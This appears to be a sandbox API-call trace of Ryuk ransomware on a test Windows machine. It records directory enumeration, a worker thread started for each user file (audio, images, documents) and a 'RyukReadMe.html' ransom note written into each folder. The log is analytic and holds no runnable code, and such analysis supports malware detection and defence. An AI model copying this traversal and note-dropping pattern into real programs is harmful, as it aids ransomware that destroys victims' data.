	[0277.383] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 0
	[0277.384] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0277.384] SetLastError (dwErrCode=0x0) 
	[0277.384] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898
	[0277.384] GetLastError () returned 0xb7
	[0277.384] CloseHandle (hObject=0x898) returned 1
	[0277.384] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c4a0240, ftCreationTime.dwHighDateTime=0x1d5c415, ftLastAccessTime.dwLowDateTime=0x28d6d0c0, ftLastAccessTime.dwHighDateTime=0x1d5c550, ftLastWriteTime.dwLowDateTime=0x7b55bd00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xa792, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="tEz6zz54a3QKe1jYs.mp3", cAlternateFileName="TEZ6ZZ~1.MP3")) returned 1
	[0277.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0277.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898
	[0277.386] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.387] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4813f7f0, ftCreationTime.dwHighDateTime=0x1d5c317, ftLastAccessTime.dwLowDateTime=0xbd8a9eb0, ftLastAccessTime.dwHighDateTime=0x1d5c558, ftLastWriteTime.dwLowDateTime=0x7b55bd00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x159c2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="uJdarKwGlT5w5zNqc7M.jpg", cAlternateFileName="UJDARK~1.JPG")) returned 1
	[0277.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0277.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0
	[0277.389] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.389] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44de7220, ftCreationTime.dwHighDateTime=0x1d5b824, ftLastAccessTime.dwLowDateTime=0x9f9fc830, ftLastAccessTime.dwHighDateTime=0x1d5be69, ftLastWriteTime.dwLowDateTime=0x7b0bf260, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x3172, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="uw8kRfAIZafm8JjQ.avi", cAlternateFileName="UW8KRF~1.AVI")) returned 1
	[0277.389] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0277.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc
	[0277.391] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.391] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x7ae83dc0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ae83dc0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1
	[0277.391] SetLastError (dwErrCode=0x0) 
	[0277.392] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900
	[0277.392] GetLastError () returned 0xb7
	[0277.392] CloseHandle (hObject=0x900) returned 1
	[0277.392] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x7ae83dc0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ae83dc0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0277.392] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x7ae83dc0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ae83dc0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.392] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ae83dc0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7ae83dc0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b17d940, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0277.392] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ae83dc0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7ae83dc0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b17d940, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0277.393] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0277.393] SetLastError (dwErrCode=0x0) 
	[0277.393] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wpdnse\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900
	[0277.393] GetLastError () returned 0xb7
	[0277.393] CloseHandle (hObject=0x900) returned 1
	[0277.394] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7e1be50, ftCreationTime.dwHighDateTime=0x1d5b6d6, ftLastAccessTime.dwLowDateTime=0xd992b530, ftLastAccessTime.dwHighDateTime=0x1d5b8f0, ftLastWriteTime.dwLowDateTime=0x7b4e98e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x17a32, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Y2djYuhT3xjlKZ3r.ppt", cAlternateFileName="Y2DJYU~1.PPT")) returned 1
	[0277.394] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0277.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900
	[0277.396] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.396] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d4c440, ftCreationTime.dwHighDateTime=0x1d5c139, ftLastAccessTime.dwLowDateTime=0x1dcaae80, ftLastAccessTime.dwHighDateTime=0x1d5c48e, ftLastWriteTime.dwLowDateTime=0x7b50fa40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x14922, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="yLt4USz55bOIOOEbZn.wav", cAlternateFileName="YLT4US~1.WAV")) returned 1
	[0277.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0277.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878
	[0277.398] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.399] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20c652c0, ftCreationTime.dwHighDateTime=0x1d5bfe2, ftLastAccessTime.dwLowDateTime=0xd0495170, ftLastAccessTime.dwHighDateTime=0x1d5bc27, ftLastWriteTime.dwLowDateTime=0xd0495170, ftLastWriteTime.dwHighDateTime=0x1d5bc27, nFileSizeHigh=0x0, nFileSizeLow=0xd07c, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="ylwNSYMrPkhmeWLV4xtt.mkv", cAlternateFileName="YLWNSY~1.MKV")) returned 1
	[0277.399] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0277.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c
	[0277.401] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.401] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16fa710, ftCreationTime.dwHighDateTime=0x1d5bb04, ftLastAccessTime.dwLowDateTime=0x94014e60, ftLastAccessTime.dwHighDateTime=0x1d5b6bf, ftLastWriteTime.dwLowDateTime=0x7b581e60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xfda2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="_B66Lv3zO7vtubgGITA.odt", cAlternateFileName="_B66LV~1.ODT")) returned 1
	[0277.401] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0277.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac
	[0277.404] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.404] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16fa710, ftCreationTime.dwHighDateTime=0x1d5bb04, ftLastAccessTime.dwLowDateTime=0x94014e60, ftLastAccessTime.dwHighDateTime=0x1d5b6bf, ftLastWriteTime.dwLowDateTime=0x7b581e60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xfda2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="_B66Lv3zO7vtubgGITA.odt", cAlternateFileName="_B66LV~1.ODT")) returned 0
	[0277.404] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0277.405] SetLastError (dwErrCode=0x0) 
	[0277.405] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0277.405] GetLastError () returned 0xb7
	[0277.405] CloseHandle (hObject=0x7a8) returned 1
	[0277.405] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0277.405] SetLastError (dwErrCode=0x0) 
	[0277.405] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0277.406] GetLastError () returned 0xb7
	[0277.406] CloseHandle (hObject=0x7a8) returned 1
	[0277.406] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0277.407] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.407] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0277.407] SetLastError (dwErrCode=0x0) 
	[0277.407] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0277.774] GetLastError () returned 0x0
	[0277.774] WriteFile (in: hFile=0x874, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0277.776] CloseHandle (hObject=0x874) returned 1
	[0277.776] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0277.777] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.777] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e570c75, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0277.777] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x77ba17e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0277.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0277.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864
	[0277.779] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.780] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="MM5O9XQS", cAlternateFileName="")) returned 1
	[0277.780] SetLastError (dwErrCode=0x0) 
	[0277.780] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.780] GetLastError () returned 0x3
	[0277.780] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0277.781] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.781] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0277.781] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0277.781] SetLastError (dwErrCode=0x0) 
	[0277.781] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\mm5o9xqs\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.781] GetLastError () returned 0x3
	[0277.781] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0277.781] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.781] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="PMMR5K9K", cAlternateFileName="")) returned 1
	[0277.781] SetLastError (dwErrCode=0x0) 
	[0277.781] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.781] GetLastError () returned 0x3
	[0277.781] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
